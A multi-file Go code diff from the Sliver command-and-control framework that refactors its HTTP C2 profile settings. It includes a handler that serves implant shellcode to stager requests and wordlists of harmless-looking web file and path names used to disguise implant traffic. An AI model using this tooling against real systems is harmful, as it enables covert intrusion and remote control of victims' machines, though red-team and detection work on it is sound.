resourceID, err = db.ResourceIDByValue(nonce)
|
||||
if err != nil {
|
||||
httpLog.Infof("No profile with id %#v", nonce)
|
||||
s.defaultHandler(resp, req)
|
||||
return
|
||||
}
|
||||
build, _ := db.ImplantBuildByResourceID(resourceID.Value)
|
||||
if build.Stage {
|
||||
payload, err := generate.ImplantFileFromBuild(build)
|
||||
if err != nil {
|
||||
httpLog.Infof("Unable to retrieve Implant build %s", build)
|
||||
s.defaultHandler(resp, req)
|
||||
return
|
||||
httpLog.Debug("Stager request")
|
||||
build, _ := db.ImplantBuildByResourceID(resourceID.Value)
|
||||
if build.Stage {
|
||||
payload, err := generate.ImplantFileFromBuild(build)
|
||||
if err != nil {
|
||||
httpLog.Infof("Unable to retrieve Implant build %s", build)
|
||||
s.defaultHandler(resp, req)
|
||||
return
|
||||
}
|
||||
httpLog.Infof("Received staging request from %s", getRemoteAddr(req))
|
||||
s.noCacheHeader(resp)
|
||||
resp.Write(payload)
|
||||
httpLog.Infof("Serving sliver shellcode (size %d) %s to %s", len(payload), resourceID.Name, getRemoteAddr(req))
|
||||
resp.WriteHeader(http.StatusOK)
|
||||
}
|
||||
httpLog.Infof("Received staging request from %s", getRemoteAddr(req))
|
||||
s.noCacheHeader(resp)
|
||||
resp.Write(payload)
|
||||
httpLog.Infof("Serving sliver shellcode (size %d) %s to %s", len(payload), resourceID.Name, getRemoteAddr(req))
|
||||
resp.WriteHeader(http.StatusOK)
|
||||
}
|
||||
}
|
||||
|
||||
s.defaultHandler(resp, req)
|
||||
}
|
||||
|
||||
|
||||
+47
-497
@@ -44,21 +44,9 @@ func CheckHTTPC2ConfigErrors(config *clientpb.HTTPC2Config) error {
|
||||
|
||||
var (
|
||||
ErrMissingCookies = errors.New("server config must specify at least one cookie")
|
||||
ErrMissingStagerFileExt = errors.New("implant config must specify a stager_file_ext")
|
||||
ErrTooFewStagerFiles = errors.New("implant config must specify at least one stager_files value")
|
||||
ErrMissingPollFileExt = errors.New("implant config must specify a poll_file_ext")
|
||||
ErrTooFewPollFiles = errors.New("implant config must specify at least one poll_files value")
|
||||
ErrMissingKeyExchangeFileExt = errors.New("implant config must specify a key_exchange_file_ext")
|
||||
ErrTooFewKeyExchangeFiles = errors.New("implant config must specify at least one key_exchange_files value")
|
||||
ErrMissingCloseFileExt = errors.New("implant config must specify a close_file_ext")
|
||||
ErrTooFewCloseFiles = errors.New("implant config must specify at least one close_files value")
|
||||
ErrMissingStartSessionFileExt = errors.New("implant config must specify a start_session_file_ext")
|
||||
ErrMissingSessionFileExt = errors.New("implant config must specify a session_file_ext")
|
||||
ErrTooFewSessionFiles = errors.New("implant config must specify at least one session_files value")
|
||||
ErrNonUniqueFileExt = errors.New("implant config must specify unique file extensions")
|
||||
ErrQueryParamNameLen = errors.New("implant config url query parameter names must be 3 or more characters")
|
||||
ErrDuplicateStageExt = errors.New("stager extension is already used in another C2 profile")
|
||||
ErrDuplicateStartSessionExt = errors.New("start session extension is already used in another C2 profile")
|
||||
ErrMissingExtensions = errors.New("implant config must specify at least one file extension")
|
||||
ErrMissingFiles = errors.New("implant config must specify at least one files value")
|
||||
ErrMissingPaths = errors.New("implant config must specify at least one paths value")
|
||||
ErrDuplicateC2ProfileName = errors.New("C2 Profile name is already in use")
|
||||
ErrMissingC2ProfileName = errors.New("C2 Profile name is required")
|
||||
ErrC2ProfileNotFound = errors.New("C2 Profile does not exist")
|
||||
@@ -93,44 +81,31 @@ func checkServerConfig(config *clientpb.HTTPC2ServerConfig) error {
|
||||
|
||||
func checkImplantConfig(config *clientpb.HTTPC2ImplantConfig) error {
|
||||
|
||||
// MinFiles and MaxFiles
|
||||
if config.MinFiles < 1 {
|
||||
config.MinFiles = 1
|
||||
// min and max used during http c2 config generation
|
||||
if config.MinFileGen < 1 {
|
||||
config.MinFileGen = 1
|
||||
}
|
||||
if config.MaxFiles < config.MinFiles {
|
||||
config.MaxFiles = config.MinFiles
|
||||
if config.MaxFileGen < config.MinFileGen {
|
||||
config.MaxFileGen = config.MinFileGen
|
||||
}
|
||||
if config.MinPathGen < 0 {
|
||||
config.MinPathGen = 0
|
||||
}
|
||||
if config.MaxPathGen < config.MinPathGen {
|
||||
config.MaxPathGen = config.MinPathGen
|
||||
}
|
||||
|
||||
// MinPaths and MaxPaths
|
||||
if config.MinPaths < 0 {
|
||||
config.MinPaths = 0
|
||||
// Path length used during implant operation
|
||||
if config.MinPathLength < 1 {
|
||||
config.MinPathLength = 1
|
||||
}
|
||||
if config.MaxPaths < config.MinPaths {
|
||||
config.MaxPaths = config.MinPaths
|
||||
}
|
||||
|
||||
// Stager
|
||||
config.StagerFileExtension = coerceFileExt(config.StagerFileExtension)
|
||||
if config.StagerFileExtension == "" {
|
||||
return ErrMissingStagerFileExt
|
||||
if config.MaxPathLength < config.MinPathLength {
|
||||
config.MaxPathLength = config.MinPathLength
|
||||
}
|
||||
|
||||
// File Extensions
|
||||
config.PollFileExtension = coerceFileExt(config.PollFileExtension)
|
||||
if config.PollFileExtension == "" {
|
||||
return ErrMissingPollFileExt
|
||||
}
|
||||
config.StartSessionFileExtension = coerceFileExt(config.StartSessionFileExtension)
|
||||
if config.StartSessionFileExtension == "" {
|
||||
return ErrMissingStartSessionFileExt
|
||||
}
|
||||
config.SessionFileExtension = coerceFileExt(config.SessionFileExtension)
|
||||
if config.SessionFileExtension == "" {
|
||||
return ErrMissingSessionFileExt
|
||||
}
|
||||
config.CloseFileExtension = coerceFileExt(config.CloseFileExtension)
|
||||
if config.CloseFileExtension == "" {
|
||||
return ErrMissingCloseFileExt
|
||||
if len(config.Extensions) < 1 {
|
||||
return ErrMissingExtensions
|
||||
}
|
||||
|
||||
/*
|
||||
@@ -156,22 +131,24 @@ func GenerateDefaultHTTPC2Config() *clientpb.HTTPC2Config {
|
||||
pathSegments := GenerateHTTPC2DefaultPathSegment()
|
||||
|
||||
implantConfig := clientpb.HTTPC2ImplantConfig{
|
||||
UserAgent: "",
|
||||
ChromeBaseVersion: DefaultChromeBaseVer,
|
||||
MacOSVersion: DefaultMacOSVer,
|
||||
NonceQueryArgChars: "abcdefghijklmnopqrstuvwxyz",
|
||||
ExtraURLParameters: httpC2UrlParameters,
|
||||
Headers: httpC2Headers,
|
||||
MaxFiles: 4,
|
||||
MinFiles: 2,
|
||||
MaxPaths: 4,
|
||||
MinPaths: 2,
|
||||
StagerFileExtension: "woff",
|
||||
PollFileExtension: "js",
|
||||
StartSessionFileExtension: "html",
|
||||
SessionFileExtension: "php",
|
||||
CloseFileExtension: "png",
|
||||
PathSegments: pathSegments,
|
||||
UserAgent: "",
|
||||
ChromeBaseVersion: DefaultChromeBaseVer,
|
||||
MacOSVersion: DefaultMacOSVer,
|
||||
NonceQueryArgChars: "abcdefghijklmnopqrstuvwxyz",
|
||||
NonceQueryLength: 1,
|
||||
NonceMode: "UrlParam", // Url or UrlParam
|
||||
ExtraURLParameters: httpC2UrlParameters,
|
||||
Headers: httpC2Headers,
|
||||
MaxFileGen: 4,
|
||||
MinFileGen: 2,
|
||||
MaxPathGen: 4,
|
||||
MinPathGen: 2,
|
||||
MaxPathLength: 4,
|
||||
MinPathLength: 2,
|
||||
Extensions: []string{
|
||||
"js", "", "php",
|
||||
},
|
||||
PathSegments: pathSegments,
|
||||
}
|
||||
|
||||
// Server Config
|
||||
@@ -216,73 +193,21 @@ func GenerateHTTPC2DefaultPathSegment() []*clientpb.HTTPC2PathSegment {
|
||||
|
||||
/*
|
||||
IsFile bool
|
||||
SegmentType int32 // Poll, Session, Close, stager
|
||||
Value string
|
||||
*/
|
||||
|
||||
// files
|
||||
for _, poll := range PollFiles {
|
||||
for _, file := range Files {
|
||||
pathSegments = append(pathSegments, &clientpb.HTTPC2PathSegment{
|
||||
IsFile: true,
|
||||
SegmentType: 0,
|
||||
Value: poll,
|
||||
IsFile: true,
|
||||
Value: file,
|
||||
})
|
||||
}
|
||||
|
||||
for _, session := range SessionFiles {
|
||||
for _, path := range Paths {
|
||||
pathSegments = append(pathSegments, &clientpb.HTTPC2PathSegment{
|
||||
IsFile: true,
|
||||
SegmentType: 1,
|
||||
Value: session,
|
||||
})
|
||||
}
|
||||
|
||||
for _, close := range CloseFiles {
|
||||
pathSegments = append(pathSegments, &clientpb.HTTPC2PathSegment{
|
||||
IsFile: true,
|
||||
SegmentType: 2,
|
||||
Value: close,
|
||||
})
|
||||
}
|
||||
|
||||
for _, stager := range StagerFiles {
|
||||
pathSegments = append(pathSegments, &clientpb.HTTPC2PathSegment{
|
||||
IsFile: true,
|
||||
SegmentType: 3,
|
||||
Value: stager,
|
||||
})
|
||||
}
|
||||
|
||||
// paths
|
||||
for _, poll := range PollPaths {
|
||||
pathSegments = append(pathSegments, &clientpb.HTTPC2PathSegment{
|
||||
IsFile: false,
|
||||
SegmentType: 0,
|
||||
Value: poll,
|
||||
})
|
||||
}
|
||||
|
||||
for _, session := range SessionPaths {
|
||||
pathSegments = append(pathSegments, &clientpb.HTTPC2PathSegment{
|
||||
IsFile: false,
|
||||
SegmentType: 1,
|
||||
Value: session,
|
||||
})
|
||||
}
|
||||
|
||||
for _, close := range ClosePaths {
|
||||
pathSegments = append(pathSegments, &clientpb.HTTPC2PathSegment{
|
||||
IsFile: false,
|
||||
SegmentType: 2,
|
||||
Value: close,
|
||||
})
|
||||
}
|
||||
|
||||
for _, stager := range StagerPaths {
|
||||
pathSegments = append(pathSegments, &clientpb.HTTPC2PathSegment{
|
||||
IsFile: false,
|
||||
SegmentType: 3,
|
||||
Value: stager,
|
||||
IsFile: false,
|
||||
Value: path,
|
||||
})
|
||||
}
|
||||
|
||||
@@ -376,7 +301,7 @@ var (
|
||||
"csrf-state",
|
||||
"AWSALBCORS",
|
||||
}
|
||||
PollFiles = []string{
|
||||
Files = []string{
|
||||
"bootstrap",
|
||||
"bootstrap.min",
|
||||
"jquery.min",
|
||||
@@ -487,7 +412,7 @@ var (
|
||||
"storage",
|
||||
"offline",
|
||||
}
|
||||
PollPaths = []string{
|
||||
Paths = []string{
|
||||
"js",
|
||||
"umd",
|
||||
"assets",
|
||||
@@ -555,379 +480,4 @@ var (
|
||||
"libjs",
|
||||
"libjsscripts",
|
||||
}
|
||||
SessionFiles = []string{
|
||||
"login",
|
||||
"signin",
|
||||
"api",
|
||||
"samples",
|
||||
"rpc",
|
||||
"index",
|
||||
"admin",
|
||||
"register",
|
||||
"sign-up",
|
||||
"index",
|
||||
"config",
|
||||
"functions",
|
||||
"database",
|
||||
"header",
|
||||
"footer",
|
||||
"login",
|
||||
"register",
|
||||
"logout",
|
||||
"profile",
|
||||
"dashboard",
|
||||
"home",
|
||||
"about",
|
||||
"contact",
|
||||
"services",
|
||||
"utils",
|
||||
"common",
|
||||
"init",
|
||||
"auth",
|
||||
"session",
|
||||
"error",
|
||||
"handler",
|
||||
"api",
|
||||
"ajax",
|
||||
"form",
|
||||
"validation",
|
||||
"upload",
|
||||
"download",
|
||||
"report",
|
||||
"admin",
|
||||
"user",
|
||||
"account",
|
||||
"settings",
|
||||
"utility",
|
||||
"script",
|
||||
"mailer",
|
||||
"cron",
|
||||
"cache",
|
||||
"template",
|
||||
"page",
|
||||
"model",
|
||||
"view",
|
||||
"controller",
|
||||
"middleware",
|
||||
"router",
|
||||
"route",
|
||||
"helper",
|
||||
"library",
|
||||
"plugin",
|
||||
"widget",
|
||||
"widgetized",
|
||||
"search",
|
||||
"filter",
|
||||
"sort",
|
||||
"pagination",
|
||||
"backup",
|
||||
"restore",
|
||||
"upgrade",
|
||||
"install",
|
||||
"uninstall",
|
||||
"upgrade",
|
||||
"maintenance",
|
||||
"sitemap",
|
||||
"rss",
|
||||
"atom",
|
||||
"xml",
|
||||
"json",
|
||||
"rss",
|
||||
"log",
|
||||
"debug",
|
||||
"test",
|
||||
"mock",
|
||||
"stub",
|
||||
"mockup",
|
||||
"mockdata",
|
||||
"temp",
|
||||
"tmp",
|
||||
"backup",
|
||||
"old",
|
||||
"new",
|
||||
"demo",
|
||||
"example",
|
||||
"sample",
|
||||
"prototype",
|
||||
"backup",
|
||||
"import",
|
||||
"export",
|
||||
"sync",
|
||||
"async",
|
||||
"validate",
|
||||
"authenticate",
|
||||
}
|
||||
SessionPaths = []string{
|
||||
"php",
|
||||
"api",
|
||||
"upload",
|
||||
"actions",
|
||||
"rest",
|
||||
"v1",
|
||||
"auth",
|
||||
"authenticate",
|
||||
"oauth",
|
||||
"oauth2",
|
||||
"oauth2callback",
|
||||
"database",
|
||||
"db",
|
||||
"namespaces",
|
||||
"home",
|
||||
"about",
|
||||
"contact",
|
||||
"services",
|
||||
"products",
|
||||
"blog",
|
||||
"news",
|
||||
"events",
|
||||
"gallery",
|
||||
"portfolio",
|
||||
"shop",
|
||||
"store",
|
||||
"login",
|
||||
"register",
|
||||
"profile",
|
||||
"dashboard",
|
||||
"account",
|
||||
"settings",
|
||||
"faq",
|
||||
"help",
|
||||
"support",
|
||||
"download",
|
||||
"upload",
|
||||
"subscribe",
|
||||
"unsubscribe",
|
||||
"search",
|
||||
"sitemap",
|
||||
"privacy",
|
||||
"terms",
|
||||
"conditions",
|
||||
"policy",
|
||||
"cookie",
|
||||
"checkout",
|
||||
"cart",
|
||||
"order",
|
||||
"payment",
|
||||
"confirmation",
|
||||
"feedback",
|
||||
"survey",
|
||||
"testimonial",
|
||||
"newsletter",
|
||||
"membership",
|
||||
"forum",
|
||||
"signin",
|
||||
"signup",
|
||||
"forum",
|
||||
"contact-us",
|
||||
"pricing",
|
||||
"donate",
|
||||
"partners",
|
||||
"team",
|
||||
"career",
|
||||
"join-us",
|
||||
"downloads",
|
||||
"events",
|
||||
"explore",
|
||||
"insights",
|
||||
"newsroom",
|
||||
"press",
|
||||
"media",
|
||||
"blog",
|
||||
"articles",
|
||||
"research",
|
||||
"library",
|
||||
"resources",
|
||||
"inspiration",
|
||||
"academy",
|
||||
"labs",
|
||||
"developers",
|
||||
"api",
|
||||
"integration",
|
||||
"status",
|
||||
"changelog",
|
||||
"roadmap",
|
||||
"solutions",
|
||||
"clients",
|
||||
"testimonials",
|
||||
"success-stories",
|
||||
"clients",
|
||||
"partners",
|
||||
"404",
|
||||
"500",
|
||||
"error",
|
||||
"maintenance",
|
||||
"upgrade",
|
||||
}
|
||||
CloseFiles = []string{
|
||||
"image",
|
||||
"logo",
|
||||
"icon",
|
||||
"background",
|
||||
"banner",
|
||||
"button",
|
||||
"avatar",
|
||||
"photo",
|
||||
"picture",
|
||||
"header",
|
||||
"footer",
|
||||
"thumbnail",
|
||||
"screenshot",
|
||||
"cover",
|
||||
"badge",
|
||||
"illustration",
|
||||
"graphic",
|
||||
"map",
|
||||
"diagram",
|
||||
"chart",
|
||||
"emoji",
|
||||
"flag",
|
||||
"arrow",
|
||||
"social",
|
||||
"media",
|
||||
"document",
|
||||
"product",
|
||||
"menu",
|
||||
"navigation",
|
||||
"search",
|
||||
"result",
|
||||
"loading",
|
||||
"progress",
|
||||
"error",
|
||||
"success",
|
||||
"warning",
|
||||
"info",
|
||||
"question",
|
||||
"exclamation",
|
||||
"play",
|
||||
"pause",
|
||||
"stop",
|
||||
"next",
|
||||
"previous",
|
||||
"rewind",
|
||||
"forward",
|
||||
"volume",
|
||||
"mute",
|
||||
"speaker",
|
||||
"microphone",
|
||||
"camera",
|
||||
"video",
|
||||
"audio",
|
||||
"file",
|
||||
"folder",
|
||||
"download",
|
||||
"upload",
|
||||
"share",
|
||||
"like",
|
||||
"heart",
|
||||
"star",
|
||||
"comment",
|
||||
"chat",
|
||||
"speech bubble",
|
||||
"message",
|
||||
"envelope",
|
||||
"mail",
|
||||
"clock",
|
||||
"calendar",
|
||||
"location",
|
||||
"pin",
|
||||
"home",
|
||||
"settings",
|
||||
"gear",
|
||||
"tools",
|
||||
"user",
|
||||
"profile",
|
||||
"login",
|
||||
"logout",
|
||||
"register",
|
||||
"lock",
|
||||
"unlock",
|
||||
"shield",
|
||||
"security",
|
||||
"privacy",
|
||||
"checkmark",
|
||||
"cross",
|
||||
"delete",
|
||||
"trash",
|
||||
"restore",
|
||||
"recycle",
|
||||
"favorite",
|
||||
"bookmark",
|
||||
"star",
|
||||
"eye",
|
||||
"magnifier",
|
||||
"question mark",
|
||||
"information",
|
||||
"exclamationmark",
|
||||
"help",
|
||||
"favicon",
|
||||
"sample",
|
||||
"example",
|
||||
}
|
||||
ClosePaths = []string{
|
||||
"static",
|
||||
"www",
|
||||
"assets",
|
||||
"images",
|
||||
"icons",
|
||||
"image",
|
||||
"icon",
|
||||
"png",
|
||||
"images",
|
||||
"photos",
|
||||
"pictures",
|
||||
"pics",
|
||||
"gallery",
|
||||
"media",
|
||||
"uploads",
|
||||
"assets",
|
||||
"img",
|
||||
"graphics",
|
||||
"visuals",
|
||||
"media-library",
|
||||
"artwork",
|
||||
"design",
|
||||
"diagrams",
|
||||
"icons",
|
||||
"logos",
|
||||
"banners",
|
||||
"thumbnails",
|
||||
"avatars",
|
||||
"screenshots",
|
||||
"headers",
|
||||
"footers",
|
||||
"backgrounds",
|
||||
"buttons",
|
||||
"illustrations",
|
||||
"diagrams",
|
||||
"photoshoots",
|
||||
"picoftheday",
|
||||
"imagebank",
|
||||
"album",
|
||||
"memories",
|
||||
"memes",
|
||||
"snapshots",
|
||||
"portraits",
|
||||
"posters",
|
||||
"renders",
|
||||
"cover-photos",
|
||||
"wallpapers",
|
||||
"photography",
|
||||
"visualizations",
|
||||
"moodboard",
|
||||
"infographics",
|
||||
"renders",
|
||||
"icons",
|
||||
"layers",
|
||||
"picgallery",
|
||||
"picdump",
|
||||
"imagelibrary",
|
||||
}
|
||||
StagerFiles = []string{
|
||||
"attribute_text_w01_regular", "ZillaSlab-Regular.subset.bbc33fb47cf6",
|
||||
"ZillaSlab-Bold.subset.e96c15f68c68", "Inter-Regular",
|
||||
"Inter-Medium",
|
||||
}
|
||||
StagerPaths = []string{
|
||||
"static", "assets", "fonts", "locales",
|
||||
}
|
||||
)
|
||||
@@ -23,7 +23,8 @@ import (
|
||||
"os"
|
||||
"path/filepath"
|
||||
|
||||
"github.com/bishopfox/sliver/server/assets"
|
||||
"github.com/bishopfox/sliver/client/assets"
|
||||
"github.com/bishopfox/sliver/server/db/models"
|
||||
"github.com/bishopfox/sliver/server/log"
|
||||
"github.com/sirupsen/logrus"
|
||||
)
|
||||
@@ -124,13 +125,19 @@ type WatchTowerConfig struct {
|
||||
XForceApiPassword string `json:"xforce_api_password"`
|
||||
}
|
||||
|
||||
// http server defaults for anonymous requests
|
||||
type HttpDefaultConfig struct {
|
||||
Headers []models.HttpC2Header `json:"headers"`
|
||||
}
|
||||
|
||||
// ServerConfig - Server config
|
||||
type ServerConfig struct {
|
||||
DaemonMode bool `json:"daemon_mode"`
|
||||
DaemonConfig *DaemonConfig `json:"daemon"`
|
||||
Logs *LogConfig `json:"logs"`
|
||||
Watchtower *WatchTowerConfig `json:"watch_tower"`
|
||||
GoProxy string `json:"go_proxy"`
|
||||
DaemonMode bool `json:"daemon_mode"`
|
||||
DaemonConfig *DaemonConfig `json:"daemon"`
|
||||
Logs *LogConfig `json:"logs"`
|
||||
Watchtower *WatchTowerConfig `json:"watch_tower"`
|
||||
GoProxy string `json:"go_proxy"`
|
||||
HTTPDefaults *HttpDefaultConfig `json:"http_default"`
|
||||
|
||||
// 'GOOS/GOARCH' -> CC path
|
||||
CC map[string]string `json:"cc"`
|
||||
@@ -206,6 +213,16 @@ func getDefaultServerConfig() *ServerConfig {
|
||||
GRPCUnaryPayloads: false,
|
||||
GRPCStreamPayloads: false,
|
||||
},
|
||||
HTTPDefaults: &HttpDefaultConfig{
|
||||
Headers: []models.HttpC2Header{
|
||||
models.HttpC2Header{
|
||||
Method: "GET",
|
||||
Name: "Cache-Control",
|
||||
Value: "no-store, no-cache, must-revalidate",
|
||||
Probability: 100,
|
||||
},
|
||||
},
|
||||
},
|
||||
CC: map[string]string{},
|
||||
CXX: map[string]string{},
|
||||
}
|
||||
|
||||
@@ -8,6 +8,7 @@ import (
|
||||
var (
|
||||
Rtunnels map[uint64]*RTunnel = make(map[uint64]*RTunnel)
|
||||
mutex sync.RWMutex
|
||||
pending sync.Map
|
||||
)
|
||||
|
||||
// RTunnel - Duplex byte read/write
|
||||
@@ -95,6 +96,21 @@ func RemoveRTunnel(ID uint64) {
|
||||
delete(Rtunnels, ID)
|
||||
}
|
||||
|
||||
func AddPending(sessionID string, connStr string) {
|
||||
pending.Store(sessionID, connStr)
|
||||
}
|
||||
|
||||
func DeletePending(sessionID string) {
|
||||
pending.Delete(sessionID)
|
||||
}
|
||||
|
||||
func Check(sessionID string, connStr string) bool {
|
||||
if val, ok := pending.Load(sessionID); ok {
|
||||
return val == connStr
|
||||
}
|
||||
return false
|
||||
}
|
||||
|
||||
// func removeAndCloseAllRTunnels() {
|
||||
// mutex.Lock()
|
||||
// defer mutex.Unlock()
|
||||
|
||||
@@ -35,7 +35,6 @@ import (
|
||||
|
||||
"github.com/bishopfox/sliver/client/constants"
|
||||
"github.com/bishopfox/sliver/protobuf/clientpb"
|
||||
"github.com/bishopfox/sliver/server/configs"
|
||||
"github.com/bishopfox/sliver/server/db/models"
|
||||
"github.com/gofrs/uuid"
|
||||
"gorm.io/gorm"
|
||||
@@ -307,57 +306,6 @@ func LoadHTTPC2s() ([]*clientpb.HTTPC2Config, error) {
|
||||
return pbC2Configs, nil
|
||||
}
|
||||
|
||||
// used to prevent duplicate stager extensions
|
||||
func SearchStageExtensions(stagerExtension string, profileName string) error {
|
||||
c2Config := models.HttpC2ImplantConfig{}
|
||||
err := Session().Where(&models.HttpC2ImplantConfig{
|
||||
StagerFileExtension: stagerExtension,
|
||||
}).Find(&c2Config).Error
|
||||
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
|
||||
if c2Config.StagerFileExtension != "" && profileName != "" {
|
||||
// check if the stager extension is used in the provided profile
|
||||
httpC2Config := models.HttpC2Config{}
|
||||
err = Session().Where(&models.HttpC2Config{ID: c2Config.HttpC2ConfigID}).Find(&httpC2Config).Error
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
if httpC2Config.Name == profileName {
|
||||
return nil
|
||||
}
|
||||
return configs.ErrDuplicateStageExt
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
// used to prevent duplicate start session extensions
|
||||
func SearchStartSessionExtensions(StartSessionFileExt string, profileName string) error {
|
||||
c2Config := models.HttpC2ImplantConfig{}
|
||||
err := Session().Where(&models.HttpC2ImplantConfig{
|
||||
StartSessionFileExtension: StartSessionFileExt,
|
||||
}).Find(&c2Config).Error
|
||||
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
|
||||
if c2Config.StartSessionFileExtension != "" && profileName != "" {
|
||||
httpC2Config := models.HttpC2Config{}
|
||||
err = Session().Where(&models.HttpC2Config{ID: c2Config.HttpC2ConfigID}).Find(&httpC2Config).Error
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
if httpC2Config.Name == profileName {
|
||||
return nil
|
||||
}
|
||||
return configs.ErrDuplicateStartSessionExt
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
func LoadHTTPC2ConfigByName(name string) (*clientpb.HTTPC2Config, error) {
|
||||
if len(name) < 1 {
|
||||
return nil, ErrRecordNotFound
|
||||
|
||||
+81
-120
@@ -20,6 +20,7 @@ package models
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"strings"
|
||||
"time"
|
||||
|
||||
insecureRand "math/rand"
|
||||
@@ -66,20 +67,6 @@ func (h *HttpC2Config) ToProtobuf() *clientpb.HTTPC2Config {
|
||||
}
|
||||
}
|
||||
|
||||
func (h *HttpC2Config) GenerateImplantHTTPC2Config() *clientpb.HTTPC2ImplantConfig {
|
||||
params := make([]*clientpb.HTTPC2URLParameter, len(h.ImplantConfig.ExtraURLParameters))
|
||||
for i, param := range h.ImplantConfig.ExtraURLParameters {
|
||||
params[i] = param.ToProtobuf()
|
||||
}
|
||||
return &clientpb.HTTPC2ImplantConfig{
|
||||
UserAgent: h.ImplantConfig.UserAgent,
|
||||
ChromeBaseVersion: h.ImplantConfig.ChromeBaseVersion,
|
||||
MacOSVersion: h.ImplantConfig.MacOSVersion,
|
||||
NonceQueryArgChars: h.ImplantConfig.NonceQueryArgChars,
|
||||
ExtraURLParameters: params,
|
||||
}
|
||||
}
|
||||
|
||||
// HttpC2ServerConfig - HTTP C2 Server Configuration
|
||||
type HttpC2ServerConfig struct {
|
||||
ID uuid.UUID `gorm:"primaryKey;->;<-:create;type:uuid;"`
|
||||
@@ -124,18 +111,23 @@ type HttpC2ImplantConfig struct {
|
||||
ExtraURLParameters []HttpC2URLParameter
|
||||
Headers []HttpC2Header
|
||||
|
||||
MaxFiles int32
|
||||
MinFiles int32
|
||||
MaxPaths int32
|
||||
MinPaths int32
|
||||
// File/Path Generation subset size of the http config to select during generation
|
||||
// see randomSample function
|
||||
MaxFileGen int32
|
||||
MinFileGen int32
|
||||
MaxPathGen int32
|
||||
MinPathGen int32
|
||||
|
||||
StagerFileExtension string
|
||||
PollFileExtension string
|
||||
StartSessionFileExtension string
|
||||
SessionFileExtension string
|
||||
CloseFileExtension string
|
||||
// implant configuration for path length
|
||||
MaxPathLength int32
|
||||
MinPathLength int32
|
||||
|
||||
PathSegments []HttpC2PathSegment
|
||||
// gorm doesn not support string arrays apparently
|
||||
Extensions string
|
||||
|
||||
PathSegments []HttpC2PathSegment
|
||||
NonceQueryLength int32
|
||||
NonceMode string
|
||||
}
|
||||
|
||||
func (h *HttpC2ImplantConfig) BeforeCreate(tx *gorm.DB) (err error) {
|
||||
@@ -157,23 +149,23 @@ func (h *HttpC2ImplantConfig) ToProtobuf() *clientpb.HTTPC2ImplantConfig {
|
||||
pathSegments[i] = segment.ToProtobuf()
|
||||
}
|
||||
return &clientpb.HTTPC2ImplantConfig{
|
||||
ID: h.ID.String(),
|
||||
UserAgent: h.UserAgent,
|
||||
ChromeBaseVersion: h.ChromeBaseVersion,
|
||||
MacOSVersion: h.MacOSVersion,
|
||||
NonceQueryArgChars: h.NonceQueryArgChars,
|
||||
ExtraURLParameters: params,
|
||||
Headers: headers,
|
||||
MaxFiles: h.MaxFiles,
|
||||
MinFiles: h.MinFiles,
|
||||
MaxPaths: h.MaxPaths,
|
||||
MinPaths: h.MinPaths,
|
||||
StagerFileExtension: h.StagerFileExtension,
|
||||
PollFileExtension: h.PollFileExtension,
|
||||
StartSessionFileExtension: h.StartSessionFileExtension,
|
||||
SessionFileExtension: h.SessionFileExtension,
|
||||
CloseFileExtension: h.CloseFileExtension,
|
||||
PathSegments: pathSegments,
|
||||
ID: h.ID.String(),
|
||||
UserAgent: h.UserAgent,
|
||||
ChromeBaseVersion: h.ChromeBaseVersion,
|
||||
MacOSVersion: h.MacOSVersion,
|
||||
NonceQueryArgChars: h.NonceQueryArgChars,
|
||||
ExtraURLParameters: params,
|
||||
Headers: headers,
|
||||
MaxFileGen: h.MaxFileGen,
|
||||
MinFileGen: h.MinFileGen,
|
||||
MaxPathGen: h.MaxPathGen,
|
||||
MinPathGen: h.MinPathGen,
|
||||
MaxPathLength: h.MaxPathLength,
|
||||
MinPathLength: h.MinPathLength,
|
||||
Extensions: strings.Split(h.Extensions, ","),
|
||||
PathSegments: pathSegments,
|
||||
NonceQueryLength: h.NonceQueryLength,
|
||||
NonceMode: h.NonceMode,
|
||||
}
|
||||
}
|
||||
|
||||
@@ -271,10 +263,9 @@ func (h *HttpC2PathSegment) BeforeCreate(tx *gorm.DB) (err error) {
|
||||
|
||||
func (h *HttpC2PathSegment) ToProtobuf() *clientpb.HTTPC2PathSegment {
|
||||
return &clientpb.HTTPC2PathSegment{
|
||||
ID: h.ID.String(),
|
||||
IsFile: h.IsFile,
|
||||
SegmentType: clientpb.HTTPC2SegmentType(h.SegmentType),
|
||||
Value: h.Value,
|
||||
ID: h.ID.String(),
|
||||
IsFile: h.IsFile,
|
||||
Value: h.Value,
|
||||
}
|
||||
}
|
||||
|
||||
@@ -330,29 +321,28 @@ func HTTPC2ConfigFromProtobuf(pbHttpC2Config *clientpb.HTTPC2Config) *HttpC2Conf
|
||||
pathSegments := []HttpC2PathSegment{}
|
||||
for _, pathSegment := range pbHttpC2Config.ImplantConfig.PathSegments {
|
||||
pathSegments = append(pathSegments, HttpC2PathSegment{
|
||||
IsFile: pathSegment.IsFile,
|
||||
SegmentType: int32(pathSegment.SegmentType),
|
||||
Value: pathSegment.Value,
|
||||
IsFile: pathSegment.IsFile,
|
||||
Value: pathSegment.Value,
|
||||
})
|
||||
}
|
||||
|
||||
cfg.ImplantConfig = HttpC2ImplantConfig{
|
||||
UserAgent: pbHttpC2Config.ImplantConfig.UserAgent,
|
||||
ChromeBaseVersion: pbHttpC2Config.ImplantConfig.ChromeBaseVersion,
|
||||
MacOSVersion: pbHttpC2Config.ImplantConfig.MacOSVersion,
|
||||
NonceQueryArgChars: pbHttpC2Config.ImplantConfig.NonceQueryArgChars,
|
||||
ExtraURLParameters: params,
|
||||
Headers: implantHeaders,
|
||||
MaxFiles: pbHttpC2Config.ImplantConfig.MaxFiles,
|
||||
MinFiles: pbHttpC2Config.ImplantConfig.MinFiles,
|
||||
MaxPaths: pbHttpC2Config.ImplantConfig.MaxPaths,
|
||||
MinPaths: pbHttpC2Config.ImplantConfig.MinPaths,
|
||||
StagerFileExtension: pbHttpC2Config.ImplantConfig.StagerFileExtension,
|
||||
PollFileExtension: pbHttpC2Config.ImplantConfig.PollFileExtension,
|
||||
StartSessionFileExtension: pbHttpC2Config.ImplantConfig.StartSessionFileExtension,
|
||||
SessionFileExtension: pbHttpC2Config.ImplantConfig.SessionFileExtension,
|
||||
